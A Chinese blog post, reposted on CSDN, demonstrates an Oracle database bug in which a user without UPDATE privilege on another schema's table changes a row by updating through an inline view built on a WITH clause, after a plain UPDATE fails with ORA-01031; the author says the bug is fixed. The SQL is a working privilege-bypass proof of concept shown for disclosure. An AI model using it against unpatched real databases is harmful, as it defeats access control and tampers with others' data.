oracle 数据修改不了,关于oracle中没有权限也能够修改表的数据的bug

博客揭示了一个Oracle数据库的bug,允许没有UPDATE权限的用户通过特定的SQL语句修改表数据。该问题可能导致严重的数据安全风险,但已在去年被发现并修复。实验显示,即使没有权限,用户仍能使用复杂查询更新记录。这提醒我们关注数据库安全和权限管理的重要性。
摘要由CSDN通过智能技术生成

今天听人说oracle中有个bug 就是没有update权限也能够修改表的数据,听他这么说我一开始是不信的,不信归不信不如我们动手来实践一下

在 hr用户下有权限访问scott下test表 但是没有update权限

SQL> select * from scott.ceshi;

EMPNO ENAME      HIREDATE            SAL     DEPTNO

---------- ---------- ------------ ---------- ----------

7333 wang

7369 SMITH      18-DEC-80           810         20

7499 ALLEN      21-FEB-81          1610         30

7521 WARD       23-FEB-81          1260         30

7566 JONES      03-APR-81          2985         20

7654 MARTIN     29-SEP-81          1260         30

7698 BLAKE      02-MAY-81          2860         30

7782 CLARK      10-JUN-81          2460         10

7788 SCOTT      20-APR-87          3010         20

SQL> update scott.ceshi set ename='dasdkajsdka' where empno=7333

2  ;

update scott.ceshi set ename='dasdkajsdka' where empno=7333

*

ERROR at line 1:

ORA-01031: insufficient privileges

更改发现没有权限到这里很正常

但是朋友教我一个办法

SQL> update

2  (with t as(

3  select * from scott.ceshi

4  )select * from t)e

5   set ename='sada' where empno=7333;

1 row updated.

!!!!!神奇的事情发生了 竟让更改了表的数据,这个漏洞在去年被发现的不然对数据安全影响十分巨大,目前已修复bug

来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/30163683/viewspace-1843171/,如需转载,请注明出处,否则将追究法律责任。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值